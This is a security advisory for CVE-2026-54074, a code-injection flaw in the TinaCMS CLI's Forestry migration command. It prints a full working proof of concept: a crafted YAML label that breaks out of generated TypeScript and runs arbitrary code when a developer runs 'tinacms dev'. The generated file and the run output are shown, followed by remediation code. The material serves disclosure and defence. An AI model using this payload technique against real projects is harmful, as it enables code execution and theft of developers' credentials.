@tinacms/cli
Affected
- introduced
0, fixed2.4.3(semver)
Fixed versions
2.4.3
Fix
- Fixed version
2.4.3npm install @tinacms/[email protected]
Advisory
Also known as: CVE-2026-54074
@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Description
Summary
@tinacms/cli contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper addVariablesToCode
unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::"
inside the stringified collection JSON. User-supplied label and name
fields from .forestry/**/*.yml are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated tina/templates.{ts,js}
file. The injected code is written at module top level, so it executes
the moment the developer runs `tinacms dev` or `tinacms build`, with the
developer's privileges.
Details
Vulnerable code path:
packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts — transformForestryFieldsToTinaFields() writes forestryField.label (and .name) straight into TinaField objects (no sanitisation).packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter: export const addVariablesToCode = (codeWithTinaPrefix: string) => {
const code = codeWithTinaPrefix.replace(
/"__TINA_INTERNAL__:::(.*?):::"/g,
'$1'
);
return { code };
};
codeTransformer.ts lines 80-88 — the field array is JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.Why it executes immediately: the regex unquoting allows the attacker's
payload to *close the surrounding object/array and the enclosingxxxFields() function*, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant tina/config.ts imports ./templates.
PoC
End-to-end verified against tinacms and @tinacms/[email protected], built from
commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24
(behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
.forestry/settings.yml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
- rce
.forestry/front_matter/templates/rce.yml
---
label: rce_template
fields:
- name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
> Note on payload encoding. The original disclosure draft used double
> quotes inside the payload (console.log("RCE")). JSON.stringify escapes
> those to \", which makes the generated TypeScript syntactically invalid
> and is rejected by Prettier before the file is written. Using single
> quotes or backticks for the inner string literals is required for the
> exploit to succeed.
Step 2 — victim runs the standard onboarding flow
git clone <attacker repo>
cd <attacker repo>
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms build
Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // <-- TOP-LEVEL IIFE
const fs = require("fs");
const os = require("os");
fs.writeFileSync(
require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
"RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
);
console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
return [{ x: 1 }] as TinaField[];
}
Step 4 — observed result
$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')
$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z
The === RCE SUCCESSFUL === line is printed before the dev server
fails on the (intentionally minimal) config, proving the malicious code
executed during config evaluation.
Impact
tinacms init on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs tinacms dev or tinacms build..env files, SSH keys, ~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.npm publish and git push credentials.Suggested Remediation
Either fix is sufficient; Option B is preferred because it is
structurally impossible to bypass and does not silently drop user content.
Option A — sanitise user-controlled strings (the disclosure draft's proposal)
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
typeof str === 'string'
? str.replace(/__TINA_INTERNAL__:::/g, '')
: str;
Apply to every user-controlled string that flows into a TinaField
object — at minimum forestryField.label, forestryField.name,forestryField.template, forestryField.config.options[*],forestryField.config.source.section, and the equivalents on nestedfields/template_types recursive paths.
Option B — change the marker to a sequence that cannot survive JSON.stringify of user data
// codeTransformer.ts
const MARKER_OPEN = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';
export const addVariablesToCode = (s: string) => ({
code: s.replace(
new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
'$1'
),
});High Basis: The source's own band: HIGH
0, fixed 2.4.3 (semver)2.4.3
2.4.3npm install @tinacms/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0